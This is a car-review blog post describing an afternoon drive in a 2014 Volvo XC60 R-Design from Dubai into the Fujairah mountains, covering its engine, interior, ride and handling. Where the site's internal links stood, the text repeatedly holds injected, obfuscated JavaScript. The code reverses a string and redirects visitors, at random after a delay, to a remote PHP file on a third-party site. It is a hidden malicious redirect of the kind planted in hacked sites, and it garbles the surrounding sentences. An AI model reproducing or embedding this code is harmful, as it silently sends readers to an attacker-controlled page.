Volvo XC60 R-Design. DRIVEN. An afternoon’s drive

Enough is enough. I’m going for a drive. In the Volvo XC60 R-Design.

In the über glam business of automotive journalism – and in the supercar haven that is Dubai – many of you probably think that the crankandpiston.com team whiles away its days testing this or that hypercar across the region’s tight and twisting mountain roads. The truth is though, up to 75 per cent of our time is spent at the keyboard, writing up the latest newspiece or test drive, or editing photos. This point was born home to me a few days ago when, sitting at the laptop as usual, I received an email from a friend that simply read, ‘Watch This. Funny Dog’.

Enough is enough. It’s past 4pm and I’m going for a drive. And not in the latest $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/ferrari/” target=”_blank”>Ferrari or $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/mclaren/” target=”_blank”>McLaren, but the 2014 $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/volvo/” target=”_blank”>Volvo XC60 R-Design.

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This may seem a bizarre choice but there are several good reasons for it. Firstly it’s a Volvo and as such indestructible: should I be pitched into a barrel-roll by an over-enthusiastic taxi driver or minivan on my travels, the worst I can expect is a scuffed elbow and a bit of scratched paint. Our test model today features R-Design trim, meaning a touch off added sportiness to Volvo’s usually conservative features. And underneath the  XC60’s bonnet is an example of the new $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/volvo-engine-architecture-drive-e-is-the-v8-engine-dead/” target=”_blank”>Volvo Engine Architecture, which you may remember crankandpiston tested last October.

Unlike $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/2014-volvo-s60-t6-driven-new-beginnings/” target=”_blank”>the S60 T4 we drove in Nice, our XC60 features the slightly larger capacity 2.0-litre turbocharged four-cylinder T5 engine. This kicks out 245hp and 258lb ft of torque, nails 0-100kph in 7.2 seconds, and records a 210kph. For a family shifter that can seat five (plus luggage and/or the family dog), that’s pretty solid, and with the looks, we’re onto a further good tides.

Still in its first generation (though now packing a new facelift), a slightly beefier bonnet, new 20-inch wheels and new rear diffuser with revised aero fins don’t make for a radical change in appearance, but that certainly doesn’t make the XC60 a minger. There’s some subtly elegant bodylines (which our Ice White test model unfortunately doesn’t emphasise), a bold but not imposing look about the headlights and an air intakey front bumper, as well as some cleverly designed swooping taillights that follow the arc of the rear body. It’s all very handsome in a ‘blink and you’ll miss it’, kind of way, Volvo opting for a more subtle approach than out and out shoutiness. I like it.

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Inside the subtlety is ratcheted back yet further, with the sweeping centre console, an updated Sensus Contact infotainment system and new R-Design sports seats the only real features to get excited about (coupled with a few some stylish aluminium trim, a few extra badges and dual exhaust pipes, the seats are about it for R-Design extras). Still, solid build quality and good materials mean that whilst there’s little to get over-excited about, there’s very little to criticise too. There’s plenty of head and legroom, a sunroof to enjoy before Middle Eastern summer melts our bones, and the leather sports seats offer almost ludicrously good lumbar support.

But I’m here to drive, not conduct yet another test drive. Consequently the fob is slotted into the dash, the T5 is ‘fired’ into life, and we – that’s myself and photographer $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/author/arun-m-nair/” target=”_blank”>Arun – are soon ignoring the Satnav and inadvertently heading 180km towards the coast and hills of Fujairah.

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It’s a comfortable cruise, good acoustics negating wind and road noise impressively, while those larger IXION alloys (an inch larger than previous) haven’t affcted the glossy ride either. An improved infotainment system also means the 40kW speaker system is soon being tortured with what my colleagues refer to as ‘that crap you listen to’. The cavernous boot also means there’s plenty of space for all, sundry and a couple of camera bags. Then, there’s the acceleration.

For a vehicle weighing the best part of 1816kg, it would be unfair to expect ‘nippiness’, but I will admit I had expected slightly more from the 245hp T5. It’s not out-and-out slow given the linear acceleration and no real lag top or bottom. Under a heavy right boot though, the sensation of speed is lacking, taking away any real connection with the process. It’s a similar story with the steering. An over-assisted electronic system means that turning the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/volvo/” target=”_blank”>Volvo is a doddle, though feel for the front end is hard to nail down as we pull off the highway and begin to wind our through the Fujairah mountains

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Here, another problem I’m having are the sports seats. They are proving so supportive that through every turn, part of my mind forgets that I’m piloting a compact SUV taller than I. The body may be held comfortably, but traces of bodyroll – despite the stiffer R-Design chassis – means I lack the confidence to really push the XC60 through the corners. In fairness though, Corner Traction Control – which provides braking automatically to the wheels under load and extra acceleration to the outer wheels – means understeer is never really an issue.

It’s not all doom and gloom either, for the eight-speed gearbox and brakes prove very effective. There’s travel, and plenty of progressive feel through the pedal, whilst the gears – as well as providing good fuel economy on our run – offers seamless shifts smoothly in automatic, and crisp changes when I get a bit frisky and shift to manual. Though the body roll means I have to calm it down through the corners, keeping it in the low gears and keeping the acceleration high means there is still some fun to be had. My enthusiasm is reigned in slightly when Arun spots an isolated location for some snaps. And that’s okay. The drive here has given me time to make up my mind with the XC60.

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For a full boar thrash, the R-Design still has some way to go to counter its compact SUV DNA. But then, arguably the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/volvo/” target=”_blank”>Volvo is not trying to be something it’s not. It’s purpose is all about the cruise, the effortless joy of completely a journey without knackering your shoulders, back or giving yourself knee aches, injected with just a dash of sportiness should compulsion take you. And at points on our journey from Dubai to Fujairah, I had forgotten that.

It simply offers what I was looking for when I left Dubai: a drive, without fuss. Even with the R badges.

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